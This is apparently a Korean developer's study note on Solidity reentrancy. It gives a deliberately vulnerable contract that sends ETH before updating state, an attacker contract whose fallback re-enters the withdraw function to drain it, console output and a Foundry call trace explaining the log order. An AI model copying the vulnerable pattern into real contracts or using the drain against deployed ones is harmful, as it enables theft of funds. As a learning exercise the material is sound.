reentrancy에 대해서 어떻게 수행하는지에 대해서만 알고 있었는데, 이번에 foundry에서 정확한 call stack을 분석해 보았다.
pragma solidity 0.8.19;
import "forge-std/Test.sol";
contract Reentrancy {
uint256 counter;
event count(uint256);
event sentLog(bool);
constructor() payable {}
function withdraw1ETH() external {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "withdrawal failed");
console.log("[target] counter: ", counter);
counter++;
console.log("[target] sent: ", sent);
}
}
contract Attacker {
Reentrancy target;
uint256 counter;
constructor(address _target) {
target = Reentrancy(_target);
}
function attack() public {
target.withdraw1ETH();
}
fallback() external payable {
(bool sent, ) = (msg.sender).call(abi.encodeWithSignature("withdraw1ETH()"));
console.log("[attacker] sent: ", sent);
}
}
결과는 다음과 같다.
[attacker] sent: false
[target] counter: 0
[target] sent: true
[attacker] sent: true
[target] counter: 1
[target] sent: true
결과를 보고 왜 첫 번째 sent
에서 false
가 나오는지 한참 이해를 못해서 1시간 가량 헤맸는데... foundry 테스트 결과를 보고 겨우 이해했다.
callstack에 대해서 제대로 이해를 못했었나보다.
Traces:
[448893] ReentrancyTest::setUp()
├─ [0] VM::deal(0x0000000000000000000000000000000000000001, 100000000000000000000)
│ └─ ← ()
├─ [0] VM::deal(0x0000000000000000000000000000000000000002, 100000000000000000000)
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000001)
│ └─ ← ()
├─ [148172] → new Reentrancy@0x522B3294E6d06aA25Ad0f1B8891242E335D3B459
│ └─ ← 740 bytes of code
├─ [0] VM::prank(0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [143114] → new Attacker@0xE536720791A7DaDBeBdBCD8c8546fb0791a11901
│ └─ ← 603 bytes of code
└─ ← ()
[67012] ReentrancyTest::test()
├─ [0] VM::prank(0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [56812] Attacker::attack()
│ ├─ [51718] Reentrancy::withdraw1ETH()
│ │ ├─ [42896] Attacker::fallback{value: 1000000000000000000}()
│ │ │ ├─ [41675] Reentrancy::withdraw1ETH()
│ │ │ │ ├─ [10953] Attacker::fallback{value: 1000000000000000000}()
│ │ │ │ │ ├─ [7138] Reentrancy::withdraw1ETH()
│ │ │ │ │ │ ├─ [0] Attacker::fallback{value: 1000000000000000000}()
│ │ │ │ │ │ │ └─ ← "EvmError: OutOfFund"
│ │ │ │ │ │ └─ ← "withdrawal failed"
│ │ │ │ │ ├─ [0] console::log([attacker] sent: , false) [staticcall]
│ │ │ │ │ │ └─ ← ()
│ │ │ │ │ └─ ← ()
│ │ │ │ ├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000125b7461726765745d20636f756e7465723a200000000000000000000000000000) [staticcall]
│ │ │ │ │ └─ ← ()
│ │ │ │ ├─ [0] console::log([target] sent: , true) [staticcall]
│ │ │ │ │ └─ ← ()
│ │ │ │ └─ ← ()
│ │ │ ├─ [0] console::log([attacker] sent: , true) [staticcall]
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ ├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000125b7461726765745d20636f756e7465723a200000000000000000000000000000) [staticcall]
│ │ │ └─ ← ()
│ │ ├─ [0] console::log([target] sent: , true) [staticcall]
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; finished in 4.00ms
가장 마지막의 stack에서 부터 console이 찍히기 때문이였다.
마지막에 target에서 balance가 부족해서 revert가 난 순간부터 새로운 stack이 쌓이는 것이 스탑되어서 거기서부터 call이 반환되어가며 console이 찍히기 시작한다.
즉, reentrancy에서 나는 당연히 첫 번째 call 부터 trasnfer가 시작될 것이라고 생각했는데, 테스트를 해보니 balance가 부족해서 실패하는 마지막 call의 다음 stack부터 transfer가 시작되는 것이였다.